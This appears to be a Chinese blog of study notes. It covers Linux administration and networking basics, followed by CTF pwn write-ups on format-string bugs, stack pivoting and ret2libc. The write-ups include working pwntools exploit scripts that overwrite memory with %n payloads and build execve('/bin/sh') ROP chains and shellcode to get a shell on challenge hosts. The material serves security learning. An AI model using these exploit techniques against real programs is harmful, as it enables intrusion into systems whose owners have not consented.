可以用下面的命令来验证

1

sudo ls -ld /home/vortex

通过sudo passwd为其创建一个密码通过sudo userdel -r删除用户

Users and Groups

Linux用户中的用户管理使用用户组高效管理系统用户和权限
每个用户都有一个主组和一个或多个附加组, 可以通过groupadd goupdel groupmod等命令来管理组

组

1
2
3
4
5
6
7
8
9


sudo gruopadd demo #由此可以创建一个组并有唯一的组ID,使用-g 创建特定ID的组 

sudo groupmod -n demo test #将demo组重命名为test

sudo usermod --append --groups demo user1 #将user1添加demo组

sudo gpasswd --delete user1 demo #修改组信息,删除user1

sudo groupdel demo #删除组

Service Management

Service Management是Linux系统管理的一个重要方面，涉及到安装、配置、监控和维护系统服务和守护进程。Linux系统通常运行多个服务和守护进程，这些服务和守护进程在后台执行任务并提供功能，例如Web服务器、数据库服务器、文件服务器等。现代Linux发行版中服务管理通常由systemd处理

Checking Service Status

1

systemctl status apache2.service

这是一个检查服务状态的命令，systemctl是systemd的命令行工具，apache2.service是要检查的服务名称
该命令可以提供有关Apachw2服务器的状态信息, 通过高效管理服务状态,Linux管理员可以诊断和纠正问题

start/stop service

1
2
3
4
5
6
7
8


# To start a service
sudo systemctl start service_name

# To stop a service
sudo systemctl stop service_name

# To restart a service
sudo systemctl restart service_name

务必使用sudo进行操作, 这些命令在不同发行版或有不同

Checking logs

检查日志在系统管理和故障排除过程中至关重要
日志中包含系统进程/用户/管理员生成的一些重要日志/var/log. 可以使用多个命令访问和查看日志. 例如,dmesg可以使用命令显示kernel ring buffer. 多数情况下我们直接使用

1
2


journalctl
journalctl -u service_name

第一个命令将显示从启动到调用日志的整个系统日志, 而第二个命令会显示特定服务运行状况

creating new service

在Linux中创建服务是指设置后台应用程序以实现运行并执行所需任务的过程. 通常包括编写服务文件(即脚本), 以指定如何使用服务管理系统启动, 停止和重新启动服务.
例如可以简单创建一个test_service.service文件:

1
2
3
4
5
6
7
8
9


[Unit]
Description=My Custom Service
After=network.target

[Service]
ExecStart=/path/to/your/executable

[Install]
WantedBy=multi-user.target

然后将服务文件放在/etc/systemd/excutable来用ststemed识别它, 注意,Linux的最佳实践规定, 出于安全考虑, 我们尽量不要用root运行, 一般考虑新用户运行服务

Disk and Filesystems

Linux 使用各种文件系统来帮助我们存储和检索计算机系统硬件（例如磁盘）上的数据。文件系统定义了数据在这些存储设备上的组织、存储和检索方式。常见的 Linux 文件系统包括 EXT4、FAT32、NTFS 和 Btrfs。

每种文件系统都有其自身的优点、缺点和用例。例如，EXT4 通常用于 Linux 系统卷，因为它具有稳定性和与 Linux 的兼容性；而 FAT32 则可用于 USB 驱动器等可移动介质，因为它几乎兼容所有操作系统。挂载硬盘时要尤其注意
df -T进行查看

Inodes

inodes(索引节点)是文件系统中的一个核心概念理解inode不仅有助于提高系统操作水平, 还可以有助于我们理解 unix 的设计美学, 即如何把底层复杂性抽象出简单概念

Inode是什么

文件储存在硬盘上，硬盘的最小存储单位叫做"扇区”（Sector）512字节一个扇区(0.5KB)
操作系统读取硬盘, 不会一个个扇区读取, 这样效率太低, 而是一个一个块(block)进行读取.
而由多个扇区组成的块就是文件读取的最小单位了. 一般在4KB, 即连续八个sector组成一block
文件数据这样存储了, 我们还需要一个地方储存文件元信息.
as:

一些常规文件信息File type - regular file, directory, character device, etc
持有者
组
访问权限
Timestamps 时间戳, 包含mtime（上次文件修改时间）、ctime（上次属性更改时间）、atime（上次访问时间）
文件的硬链接数
文件大小
文件分配块数
文件指针(指向文件数据块)- 非常重要!

mounts

挂载系统，以mount source /mnt/**方式挂载文件系统、u盘等

adding disks

下是管理磁盘的常用命令：

用于lsblk列出所有块设备（磁盘和分区）。
用于fdisk /dev/sdX在磁盘上创建新分区。
用于mkfs.ext4 /dev/sdX1在分区上创建新的文件系统。
用于mount /dev/sdX1 /mount/point将文件系统挂载到目录。具体方法可见

1
2
3
4
5


# example commands to add new disk
lsblk # list all disks and partitions
sudo fdisk /dev/sdb # let's suppose new disk is /dev/sdb
sudo mkfs.ext4 /dev/sdb1 # make filesystem(e.g., ext4) on partition 1
sudo mount /dev/sdb1 /mnt # mount new filesystem to /mnt directory

swap

Linux中Swap用于物理内存（RAM）已满情况。如果系统需要更多内存，而物理内存已满，则内存中不活动页面移动到Swap，适用于虚拟内存。

拥有交换空间可确保系统物理内存不足时，可以将部分数据移动到Swap来释放RAM空间，但是会影响性能，因为基于磁盘的存储比 RAM 慢。

通常Swap会在两个地方：

自己的专有分区中
现有文件系统的常规文件中

可见Arch Wiki

LVM

Linux Logical Volume
一个设备映射器框架，为Linux内核提供逻辑卷管理。为了简化磁盘管理，允许使用abstracted storage divices作为逻辑卷而不是直接使用物理存储设备
LVM很灵活，可以调整卷大小、跨物理磁盘镜像卷、在磁盘间移动卷而无需关闭电源。
LVM 在 3 个级别上工作：Phisical Volumes (PV)、Volume Groups (VGS) 和Logical Volumes (LV)。

PV 是实际的磁盘或分区。
VG 将 PV 组合成单个存储池。
LV 从 VG 中划分出部分内容供系统使用。

创建LVM

1
2
3


pvcreate /dev/sdb1
vgcreate my-vg /dev/sdb1
lvcreate -L 10G my-vg -n my-lv

由此实现创建一个物理卷/dev/sdb1，然后创建一个卷组my-vg。最后，我们从卷组中划分出一个10GB逻辑卷后将其命名为my-lv

据此，管理存储系统更加便利，可见CSDN LVM具体介绍

Windows不支持LVM，所以你不能在其上检测到LVM分区盘

Booting Linux

启动项，我们启动电脑系统的时候，system bootloader会加载到内存数据（回存放到固定位置）并根据选择我们启动指定的系统

这整个加载过程会包含一系列的阶段，
POST(Power-On Self Test) MBR(Master Boot Record) GRUB（引导启动界面系统）Kernel等等。最后我们就会加载进入GUI界面（或者通过命令行交互接口启动）

这里提供一个经典的GRUB配置，一般在/etc/default/grub

1
2
3
4
5


GRUB_DEFAULT=0
GRUB_TIMEOUT=5
GRUB_DISTRIBUTOR=`lsb_release -i -s 2> /dev/null || echo Debian`
GRUB_CMDLINE_LINUX_DEFAULT="quiet splash"
GRUB_CMDLINE_LINUX=""

这是一个最基本的启动Linux的Grub配置，但是根据不同的发行版和不同的需求配置启动的过程是相同的（说的就是你 F**k Nvidia）

Logs

Linux也会维护日志，以帮助管理员了解系统运行情况。日志记录了所有内容，包括用户活动、系统错误和内核信息。系统启动、加载和初始化关键系统组建时就尤为重要。

Linux的logs under booting是启动过程中生成的信息，记录了启动过程中生成的消息和信息。这些日志记录了系统启动期间发生的所有操作、事件供我们诊断系统行为。

Linux使用各种日志消息级别，从emerg（系统不可用）到debug（调试级别消息）。在启动过程中，系统将kernel init serve等各个组件的信息存储，看看juornalctl

可以使用dmesg查看启动消息，用于读取和打印kernel ring buffer。还有系统的日志设置来访问它们，日志中可见文件/var/log
你也可以sudo dmesg | less启动日志查看，less查看

Boot Loaders

引导加载程序将操作系统内核加载到系统内存中，内核才会初始化硬件组件和加载必要驱动程序，启动schedular调度程序来执行初始化进程。

GRUB是我现在使用的，也时常用的目前流行的Linux booting，并提供各式的特色像图形化界面、脚本加载、调试功能等等。

不管怎么样，对于你使用的引导加载程序的特点和与其他的不同点是要好好熟悉才是可以的

可见GNU GRUB 官网了解更多

Networking 🌟

LInux的网络功能通过各种管理工具建立了跨平台的系统连接和资源共享（所以服务器基本都使用的是Linux）。默认的配置存储在/etc/network/interfaces
关键的指令包括了ifconfig 或ip来进行接口管理，支持各种协议并且有非常优秀的拓展性，这对于系统的连接和网络故障排除都非常重要。Linux还支持基于文件的处理的网络配置方式，将一系列配置都通过文件来进行处理。比如/etc/network/interfaces或者/etc/sysconfig/network-scripts/等等，具体取决于发行版。以下是一些学习用链接（注意对于计算机来说最重要的是实践） Linux网络综合指南
Linux 网络基础初学者指南网络基础实践（这个很好用）

TCP/IP Stack

即Transmission Control Protocol/Internet Ptorocol 传输控制协议和互联网协议
计算机网络通信的基础网络协议套件分为四个基本层:

Network Interface （网络接口层）
Internet （互联网层）
Transport（传输层）
Application （应用层） Linux中，其为操作系统功能不可或缺的一部分。

详情

基本的家用网络有以下基本的不同组件

ISP——互联网服务提供商，我们付费在家使用互联网的公司
路由器——允许网络上的设备连接到互联网，一般现代路由器支持 以太网线连接 和 无线网
WAN WLAN LAN 广域网无线局域网局域网

我们在看几个实例之前，我们必须做一些非常boring。。。的术语
The OSI 即（Open Systems Interconnection)开放系统互联模型是一个网络理论模型。我们将会知道数据包是如何在七个不同的层级中进行传输的（没错就是大家都必须要学的计网基础口牙），OSI模型确切的存在并实际在我们如今使用的TCP/IP 协议中起到了必不可少的作用

收集，寻址，传输和路由方式——通过TCP/IP协议套件协同工作，我们逐步了解这些协议是如何工作的，从而详细展示数据包在网络中的传输流程

TCP/IP模型

四层网络介绍

应用层
顶层，决定计算机程序（web浏览器）如何与传输层服务进行交互以查看发送、接受的数据

HTTP(超文本传输协议Hypertext Transfer Protocol)——互联网上的网页
SMTP(简单邮件传输协议Simple Mail Transfer Protocol)——电子邮件传输

传输层 决定数据如何传输，包括检查正确端口、数据完整性以及基本传输数据包

TCP(传输控制协议Transport Control Protocol)——保证可靠的数据传输
UDP(用户数据包协议 User Detapack Protocol)——不可靠的数据传输

网络层
指定如何在主机以及网络之间进行包传输

IP（互联网协议Internet Protocol)——帮助数据包从一台机器路由到另一台（选择路径）
ICMP(互联网控制消息协议Internet Control Message Protocol)——帮助我们了解错误信息、调试信息等实时信息

链路层
指定了如何在物理硬件之间发送数据。例如，数据通过以太网、光纤等传输

然后在我们深入探讨之前，聊一聊网络寻址。
在我们发送数据包时，我们必须知道它寄给谁以及它来自哪里。我们的主机和其他主机使用MAC地址(Media Access Control)以及IP地址来进行识别

网络寻址

MAC地址
MAC地址，硬件地址唯一标识符，不会发生改变。也就是对应着我们计算机的网卡设备。该网络适配器便可标识我们的计算机。一个以太网设备的MAC地址类似于00:C4:B5:45:B2:43。而每个适配器都有一个OUI(organizationally unique identifier)标识符来标识制造商，一般可有MAC地址前三个字节用于表示
例如戴尔的MAC地址OUI为00-14-22，因此戴尔的网络适配器的MAC地址可能类似：00-14-22-34-B2-C2

IP地址
与硬件无关的用于识别网络设备的地址，会根据IPv4 IPv6而又有不同的语法描述。
就假设IPv4，典型的地址是：10.24.12.4。
通常其用于网络的软件方面，任何连接到互联网的系统都会有一个IP地址，并且如果网络发生变化IP地址也会随之变化，并且在整个互联网中始终唯一（但是如果进行了NAT即网络地址转换）就可能导致多个设备通过一个公网IP进行共享上网从而在内部使用私有IP分配而对外映射为唯一的公网IP

主机名
通过主机名，其获取你的IP地址，将地址与一个特定和易于理解的名称进行绑定（只需要记住域名）

应用层 Apllication Layer

假设我要给Sh1ori发送一个邮件，我们接下来分析一下TCP/IP 层会做什么
记住这些packet包在传输的过程中要包含header头和一个payload 有效数据
header通常会告诉我们这个包从哪来，要到哪去。数据包在网络中传输，每一层都会在header上添加一些信息，我们称为frame
我们在电子邮件客户端发送邮件时，应用层会对数据进行封装。而应用层通过指定的端口与 传输层 通信，然后再通过该端口进行数据发送，我们希望通过应用层的协议SMTP进行发送，该协议会打开到该端口的连接（比如SMTP使用25），然后哦通过端口接收数据后，这些数据被发送到 传输层 进行封装为数据段

传输层 Transport Layer

帮助我们将数据以网络可读的方式进行传输，它将数据分解成多个块并传输，按照正确顺序重新组合在一起，这些快会被称为段 segments，使得网络数据传输更方便容易，接下来讲传输层的概念

Ports 端口，引出这个概念，我们虽然知道了远程的IP地址，但不足以让我们将数据发送到特定的进程或服务上。像HTTP的服务会使用端口作为通信通道。如过我们需要发送网页的数据，就通过HTTP端口（80）发送。除了形成数据，传输层同时将源地址和目标地址的端口都附加到了数据段上，这样双方都可以知道使用的端口
UDP 并不可靠，现在也不常用，但确实在一些地方会进行使用，例如在媒体流传输中，即使丢失一些帧也没关系，因为这样可以更快地获取数据。

TCP 提供可靠的面向连接的数据流，使用端口和主机之间收发数据。应用程序会从主机的一个端口建立到另一个远程主机端口，对此我们掏出了三次握手协议来确保客户端和服务器能够进行一次正常通信连接

1 客户端（连接进程）发送SYN segment=1（同步标志位）给服务器来请求一次连接并随机生成一个初始数据包序列号seq=x含义：“服务器，我想与你连接，我的seq=x,能否听到我？”
2 服务器->客户端，回复一个STN=1和ACK=1的段，随机生成一个初始序列号seq=y，并确认客户端的数据包序列号ack=x+1（下一次从x+1开始）含义：“我可以听到！（此时ack=x+1），我的seq=y，可以与你进行连接，能否听到？”

3 客户端->服务器，发送一个ACK=1的段，确认服务器序列号ack=y+1，并且此时序列号为seq=x+1（seq客客户端数据接着上一次开始发送）含义：“我还在！(此时ack=y+1）那么我们开始通信吧！” 或者可以看到表格

步骤	发送方	接收方	动作
第一次	客户端 A	服务端 B	SYN (同步序号)：A 发送一个 SYN 包到 B，并指明自己希望建立连接。A 进入 `SYN-SENT` 状态。
第二次	服务端 B	客户端 A	SYN-ACK (同步+确认)：B 收到 SYN 后，发送 SYN-ACK 包。SYN 表示 B 同意建立连接；ACK 表示确认收到了 A 的 SYN。B 进入 `SYN-RECEIVED` 状态。
第三次	客户端 A	服务端 B	ACK (确认)：A 收到 B 的 SYN-ACK 后，发送一个 ACK 包进行确认。A 进入 `ESTABLISHED` 状态。B 收到 ACK 后，也进入 `ESTABLISHED` 状态。

通过三次握手，数据可以有条理的进行交换并实现客户端和服务器的通信，并且消灭掉超时的连接，避免冗余的历史连接（如果只有两次握手就可能导致前一次历史的SYN=1的信号在发送失败后重新连网时再次发送给服务器接受导致识别为错误的失效历史连接）
然后是四次挥手，其为TCP用来安全、可靠地终止连接的机制，由于 TCP 是全双工的（双方可独立发送和接收），关闭连接也必须分两次进行。

步骤	发送方	接收方	动作
第一次	客户端 A	服务端 B	FIN (终止)：A 发送 FIN 包，表示 A 不再发送数据。A 进入 `FIN-WAIT-1` 状态。
第二次	服务端 B	客户端 A	ACK (确认)：B 收到 FIN 后，发送 ACK 包确认收到。此时 B 仍可向 A 发送数据。A 进入 `FIN-WAIT-2` 状态；B 进入 `CLOSE-WAIT` 状态。
第三次	服务端 B	客户端 A	FIN (终止)：B 发送完所有数据后，发送 FIN 包，表示 B 也不再发送数据。B 进入 `LAST-ACK` 状态。
第四次	客户端 A	服务端 B	ACK (确认)：A 收到 B 的 FIN 后，发送 ACK 包确认。A 进入 `TIME-WAIT` 状态（等待 2MSL 时间后进入 `CLOSED`）；B 收到 ACK 后立即进入 `CLOSED` 状态。

网络层 NetWork Layer

决定数据包从源到客户端的route, 数据包在同一网络中传输; 而互联网由许多网络组成，构成互联网的较小的网络被称为子网。所有子网以某种方式相互连接，因此我们可以上网进行网址访问。
网络层中接受传输层的报文段并封装在IP数据包中，将源的IP地址和目标主机的IP地址附加到数据包的header中。最后数据包包含了目的地、来源信息，发送到链路层

链路层 Link Layer

TCP/IP模型的最底层。也是硬件特定的层，我们的数据包再次封装成frame，头部是源MAC地址和目标MAC地址，checksums校验值和分隔符来判定包的尾部
幸运的是在一个网络上，我们的包不必传输很远。首先，链路层将我们源机的MAC地址放到frame头部，现在我们需要知道Sh1ori的MAC地址，嘶怎么知道呢？既然Sh1ori不在互联网上，我们如何找到他——ARP！
ARP(Address Resolution Protocol) 是用来解析查找与IP地址相关联的MAC地址的。ARP在同一网络内使用。如果Sh1ori跟我们不再同一网络上，我们会使用route系统来确定下一个可以接收到数据包的路由器。一旦进入到同一网络了我们就可以使用ARP解析。
当我们处于同一网络中，系统首先使用ARP查找表, 表中存储了IP地址与MAC地址对应信息。如果表不存在就使用ARP。系统使用ARP协议向网络发送广播信息，以查找IP地址为xx.xx.x.x的主机。
广播信息是一种特殊信息，会发送给网络上所有主机。而任何拥有所请求查找IP地址的机器便会恢复一个ARP包包含IP地址和MAC地址
我们得到必要数据后，链路层通过网卡将该frame转发。但是！数据包不是跟我说的一样那么简单传输的，实际上我们没有到达Sh1ori的网络呢！在这个过程中，至少经过两次TCP/IP模型在任何数据送达或接收前。这个数据包经历的过程大概是这样的

Nan0in给Sh1ori发邮件，数据->传输层
传输层中数据封装到TCP/UDP中形成段，附加目标和源的TCP或UDP端口，段发到网络层
网络层将数据封装到IP数据包中，附加源IP和目标IP, 路由到链路层
数据包到达Nan0in硬件中封装成帧，对应IP也封装进去
Sh1ori通过物理层接收该数据帧并检查数据完整性，解封帧内容，将IP数据包发到网络层
网络层读取数据包，查找附加的源IP和目标IP, 检查是否与目标IP相同，相同则解封数据包，发送到传输层
传输层解封数据段，检查TCP/IP端口，根据端口和应用层建立联系
应用层从指定端口的传输层接收数据，然后呈现给Sh1ori

DHCP

DHCP（Dynamic Host Configuration Protocol）动态主机配置协议为我们的机器分配IP地址、子网掩码以及网关。可以联想一下手机号码和电话运营商的关系
优势很多，网络管理员可以方便的分配IP地址并防止重复，每个物理网络都用对应DHCP服务器，方便主机申请IP地址，在常规家庭中则是路由器。目前来看DHCP获取所有动态主机信息的方式有

DHCP DISCOVER——client通过广播信息来搜索DHCP服务器，
DHCP OFFER——DHCP服务器回复信息。包括一个数据包：包含 DHCP 租用时间、子网掩码、IP 地址等信息。client收到后
DHCP REQUEST ——客户端选择DHCP发出了另一个广播，让DHCP服务器知道它接受哪个提议
DHCP ACK——服务器发送确认

而DHCP服务器需要静态IP才能有效管理，可以处理DNS和网络数据。DHCP服务器可以有效地管理IP地址和相关信息，确保每台客户端获得唯一的IP和所有正确的网络信息 DHCP协议说明

Subnetting 子网划分

子网划分将网络划分为更小的子网，提高Linux网络性能和安全性。按照IP寻址的方案组织IP地址，防止冲突，高效利用地址范围。用route -n可以查看路由表，而route add -net xxx.xxx.xxx.x/xx gw yyy.yyy.yyy.y可以添加子网，将发送到xxx… 网段的ip转发到静态路由网关

Ethernet & arp/rarp

以太网（LAN local-area network） ARP（地址解析协议——将IP地址转换为MAC地址）RARP（反向ARP）
通过这些协议，本地网络通信和地址解析得以实现
什么是DNS？
DNS，即Domain Name System，域名系统，就像互联网上的电话簿，它有以下的工作原理

人性化的域名
机器可读地址——IPV4地址
DNS翻译，后台会将域名自动转化为IP地址 Linux系统使用DNS /etc/resolv.conf来配置DNS解析，使用nslookup dig命令进行查询DNS和排除网络连接问题，在我的arch linux上打开看到是像下面这样的

1
2
3


nameserver 210.32.32.1
nameserver 210.32.32.10
search .

如果在你的服务器上，nameserver是DNS服务商的IP（可以是你服务器自己的），domain是本地主机的域名，通过设置多个要尝试自动添加的域名后缀，按顺序搜索直到找到有效结果。(search和domain是冲突的，不能同时使用)
你可以用dig命令来干一些有意思的事情

我们用dig可以尝试找到网站的IP地址，上面这个就是我的博客网站; 我们也可以据此王爵到一些域名的托管位置、记录等等
dig -x可以挖掘出更多用惯特定IP的信息

IP Routing

IP路由，设计配置路由表和网络路由以便在网络上转发数据包。而内核选择路由以方便将数据包发送到目的地。使用ip命令进行配置。使用ip route show我们可以显示所有内核已知路由来排除故障和管理

这里有一个默认路由，通过网关地址via后的进行跳转。dev wlp0s20f3则是使用的无线网络接口。proto dhcp说明通过DHCP动态获得

在linux上，我们可以通过设置路由连接到本地网络eth0上，例如

1
2
3


格式 ip route add <network>/<netmask> via <gateway> dev <interface>
sudo ip route add 192.168.1.0/24 dev eth0 #将所有数据通过设备eth0发送到本地192...上
sudo ip route add 192.168.2.0/24 via 192.168.2.254 dev eth0 #通过192.168.2.254网关为192.168.2.0/24网络路由流量

通过Ping或者host命令我们可以确保可以访问到网关、互联网上的其他网站

SSH

Secure Shell，想必不需要我们讲了，它提供点对点的安全远程访问、命令执行和通信。我们可以设置基本的ssh配置，也可以通过ssh密钥对进行身份验证管理; 例如通过ssh git@111.229.23.145连接上我的服务器。
ssh username@server_IP是连接的基础方式

File Transfer

Linux文件传输涉及在网络系统之间复制或移动文件。命令行上支持使用FTP HTTP SCP NFS等协议。常用命令有scp rsync和wget

shell programing

shell编程，通过脚本自动执行Linux中的管理任务、重复操作和系统监控。btw，我使用zsh。
shell变成非常适合系统自动化

1
2


#!/bin/zsh
echo "Hello World!"

就可以easily print your first “hello world"了
可以试试这个学习 Shell - 免费交互式 Shell 教程

格式化字符串

Wed, 22 Jan 2025 03:06:57 +0800

在看你好_Hacker 的pwn_college(非常好的课程，推)的格式化字符串课程时搜索了一些东西。

格式化字符串漏洞

历史上2000年左右格式化字符串开始流行，在各种软件中相关漏洞层出不穷, 目前格式化字符串漏洞在IoT物联网设备上竟然仍有很多漏洞

CVE案例

详见HarmonyOS Security Bulletins for Huawei Phones and Tablets 2023年7月

做到的题都很公式化但是其实有些一知半解, 写篇博客记录研究一下、

概念

详情可见CTF WIKI
也可以看看CTFer成长日记11：格式化字符串漏洞的原理与利用，讲的算清晰的文章简单来讲就是C语言中的printf函数所接受的第一个参数是字符串，也被称为格式化字符串 我们可以在该字符串中使用%d %s %c等占位符，printf函数会据此输出

注意有一个特别重要的
%n格式代码：它可以将printf函数已经输出的字符个数写入指定的地址中。在后面跟上$n用于指定要写入的地址。 %x %p在打印内存地址常用到

利用 %x 来获取对应栈的内存，但建议使用 %p，可以不用考虑位数的区别。–转自ctf-wiki 通俗来说，格式化字符串函数就是将计算机内存中表示的数据转化为我们人类可读的字符串格式。几乎所有的 C/C++ 程序都会利用格式化字符串函数来输出信息，调试程序，或者处理字符串。一般来说，格式化字符串在利用的时候主要分为三个部分

1
2
3


格式化字符串函数
格式化字符串
后续参数，可选

用于锁定输入字符串再返回的栈上的地址的发送如下 p.send('AAAA'+'-%p'*10)(64位为8位, 发送8个A)

AAAA 会占据一个栈帧的位置，且由于格式化字符串漏洞，%p 会从栈上依次打印指针地址，通常这些指针是栈上存储的内容。
每个 %p 打印出的都是栈中的一个位置，通常是指针或数据的地址。

常用格式化占位符

%n$x:(为某一数值，x为某个占位符) 对栈上第n个参数相应占位符操作

%x和%p：可以用来获取对应栈的内存，后者可以不用考虑位数区别

%s：可以用来获取对应栈的内存，但是会一直打印直到遇到\x00

%n: 可以将对应栈上指针指向的内存内容修改为它之前输入的字符数量

例如%10$n是第10个参数，如果前面加上了addr是dd的话，这里修改为了QWORD, 也就是4

例题:moectf2024 Leak_sth

发现我们在发送之后找到了退出栈的时候的AAAA的地址为第八个，即0x2d70252d41414141，(A对应十六进制41)所以我们要找的V2就是前一个0x5b1ceb6c的位置，即第七位开始发生偏移

例题: 攻防世界 stirng

菜鸡遇到了Dragon，有一位巫师可以帮助他逃离危险，但似乎需要一些要求

1
2
3
4
5
6
7
8


┌──(nan0in㉿BF-202501180754)-[~/CTF/adworld/string]
└─$ checksec 1
[*] '/home/nan0in/CTF/adworld/string/1'
 Arch: amd64-64-little
 RELRO: Full RELRO
 Stack: Canary found
 NX: NX enabled
 PIE: No PIE (0x400000)

只有PIE没开

题目提示:main中

告诉我们相关的地址
v4以及v4+1的地址

IDA中看函数，进入sub_400D72
输入name后进入sub_400A7D, 输入east和1通过 sub_400BB9有printf, 可以用来格式化字符串 sub_400CA6中将输入值进行比较 mmap申请了一块内存,7代表可读可写可执行, 用于执行shellcode

main中定义了*v4和v4[1]，修改一个即可

EXP

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31


from pwn import *
context(log_level='debug',os='linux',arch='amd64')
context.terminal=["tmux","splitw","-h"]

shellcode=asm(shellcraft.sh())


#io=process("/home/nan0in/CTF/adworld/string/1")
io=remote("61.147.171.105",64575)

io.recvuntil("secret[0] is ")

v4_addr=int(io.recvuntil("\n")[:-1],16) #接收地址

io.recvuntil("name be:")
io.sendline("nan0in")
io.recvuntil("So, where you will go?east or up?")
io.sendline("east") #跳转到下个函数

io.recvuntil("go into there(1), or leave(0)?:")
io.sendline("1")
io.recvuntil("'Give me an address'")
io.sendline(str(v4_addr))
#io.sendline('1111')
io.recvuntil("And, you wish is:")
payload='a'*85+'%7$n' #payload='%85c%7$n'
# io.sendline("aaaaaaaa"+"-%p"*10)
io.sendline(payload)
io.recvuntil("Wizard: I will help you! USE YOU SPELL")
io.send(shellcode)
io.interactive()

WP解答：

在进入到sub_400BB9后我们发送io.sendline("aaaaaaaa"+"-%p"*10)
找到print栈上format偏移地址为8
同时观察得到0x457就是1111, 所以我们可以在这里直接发送偏移为7的地址就可以直接移动到v4的值通过'a'*85+'%7$n'我们将其修改为85，然后根据mmap分配的地址运行shellcode，即可getshell

非栈上的格式化字符串

这个就需要一些手法了，通常我们是在栈中找到可写的地址，格式会像这样

0xffe63e78->…->…->一个值，可写
我们通常将这些链子进行构建去组建拼出最中导向的地址（比如这里原来got表指向的printf的地址最终通过修改变为system或one_gadget)

而我们通常采用这样的手法

单字节/双字节修改

1
2
3
4
5


payload=''
payload+="%"+str((地址)&0xff)+"c"+"%位置$hnn" //写入单字节末尾

payload=''
payload+="%"+str((地址)&0xffff)+"c"+"%位置$hn" //写入双字节末尾

修改高位诸如0xffe63eb8指向一个0xf7d55c6e, 如果我们想要修改这个s的d5为d6应该怎么办？只需要(地址+2)&0xff就可以了，将这个地址的值+2后指向的值实际上就变成了0xf7d5（因为小端序所以起点跳过了5c6e)
或者»16右移四位提取第三个字节

updated-practice1

Tue, 21 Jan 2025 21:12:26 +0800

ps: 这里只收集一些做到了觉得有学习作用或有点意思的题目, 不是所有刷了的题都有

No.GFSJ0465 hello_pwn

sub_400686中执行system读取flag，按题目来读取16个字节

两个量相差4字节, 读取时覆盖改变deword_60106C的值即可

1. 直接输入

dword_60106C只有dd，也就是4个字节，将1853186401转为16进制0x49 0xD2 0x34 0x6E后转为字母nuaa, 先输入4个a填充然后输入nuaa即可

注意小端序，输入aaun(记不住就左高右低)

2.exp

懒得写了，填充后传p64(1853186401)的值

No.GFSJ1186 welcome_CAT_CTF

本来想做的，靶机没反应。。。 IDA分析一下，内存改大数后就可以直接指向后门函数了，到时候再写

No.GFSJ0463 CGfsb

格式化字符串做的有点少(有点忘了)，找道题做做

看到printf直接想到格式化字符串

IDA打开,pwnme可以修改就可以得到flag NO PIE,bss段上，找偏移量 io.sendline('aaa'+'-%p'*20)

第十个

EXP

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14


from pwn import *
context(os='linux',arch='i386',log_level='debug')
#io=process('1')
io=remote("61.147.171.105",49284)
io.recvuntil('name:\n')
io.sendline('nan0in')
io.recvuntil('please:\n')
base_adr=0x0804A068

payload=p32(base_adr)+b'a'*0x4 + b'%10$n'
#io.sendline('aaa'+'-%p'*22)
io.sendline(payload)

io.interactive()

stack_login CBCTF复现

dbgbg发现栈上可以写入一个字节… 思路: 通过字节覆盖修改栈空间大小，利用多余的空间进行栈溢出

IDA打开，进入myread函数(读取函数)

可以发现myread函数后在读取后会返还i+a1 我们再回到password()中

调用了myread((__int64)v1, 0xE8); 这里的思路是将V1填充完后，我们在第一次读取的时候通过输入一个字节通过加实现栈空间的加，所以往大了输，输入FF
输入三次,第一次username分别传输栈地址(这个不影响之后输入),第二次第三次写passoword,第二次覆盖V2大小然后改写"FF",第三次写的时候覆盖rbp打栈迁移,在迁移后的位置执行rop链

exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28


from pwn import *

io = process("./pwn:")

elf=ELF("./pwn")
gadgets = ROP(elf)

syscall = 0x41947f #打断点第一个syscall地址
rax = gadgets.rax.address
rdi = gadgets.rdi.address
rsi = gadgets.rsi.address
rdx = gadgets.rdx.address

username = 0x4aba58
sh_adr = username +0x50

rop = flat(
 rax, 0x3B, rdi, sh_adr, rsi, 0x0, rdx, 0x0, syscall
)
#上面内核没有设置，记得设置不然会segment error
#rop = b''
#rop+= p64(rax) + p64(0x3B) + p64(rdi) + p64(sh_adr) + p64(rsi) + p64(0x0) + p64(rdx) + p64(0x0) + p64(syscall)

io.sendafter(b'username\n',rop+b'/bin/sh/\x0a')
io.sendafter(b'password\n',b'a'*0xe8+b'\xff')
io.sendafter(b'password\n',b'a'*0xe8+p64(0xff)+p64(username)[0:6]+b'\x0a') #栈迁移

io.interactive()

day2

CGpwn2

checksec

看字符串窗口，找到system，一眼自己传’/bin/sh’启动shell

main中有get

传两次数据

解答思路:

将/bin/sh传到name中
gets溢出地址到system
get shell

注意32位system还要传参(随便填就行)

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18


from pwn import *
context(log_level='debug',os='linux',arch='i386')
context.terminal=["tmux","splitw","-h"]
elf=ELF("/home/nan0in/CTF/adworld/cgpwn2/1")


sys_addr=elf.symbols['system']
bin_addr=0x0804A080

payload=b'a'*38+b'a'*4+p32(sys_addr)+p32(0xaaaa)+p32(bin_addr)

#p=process('/home/nan0in/CTF/adworld/cgpwn2/1')
p=remote("61.147.171.105",62773)
#gdb.attach(p)
p.sendlineafter('name','/bin/sh')
# p.sendlineafter('name','cat flag')
p.sendlineafter('here',payload)
p.interactive()

栈迁移(stack pivoting)

实际上就是执行两次leave ret leave:

1
2


mov esp ebp
pop ebp

两条指令实现了函数的转移和完整返回。第一次leave ret可以创建一片新的栈帧，而我们两次leave ret后，便可以使栈上某个位置变成我们执行命令
的工具，可用于

使得程序跳转到特定的位置执行恶意代码（如 shellcode 或 ROP 链）。
改变函数返回地址或栈上的其他重要数据。通常会与ROP gadgets 配合使用

level3

libc!libc! 这次没有 system，你能帮菜鸡解决这个难题么?

给出了elf文件和libc.so, 一般来说就是ret2libc了关于plt和got两个表，简单说一下，详情可以看《程序员的自我修养》或者wiki

.got表：(Global Offset Table)全局偏移表，存储了函数的地址，当程序运行时，会将函数的地址替换为.got表中的地址，为实际便宜表 .plt表：(Procedure Linkage Table)程序链接表，有两个功能：1. 在.got.plt中拿到地址跳转;2. 如果没有所需地址，使用[链接器]去寻找所需地址 .got.plt表：是got表的一部分，包含上述PLT表所需地址（已经找到和需要去触发的）

而实际题目中，常用手法是调用plt表中的函数，输出函数在got表中地址，通过计算得到其他库的函数在程序中的地址

checksec看保护，只开了NX保护

1
2
3
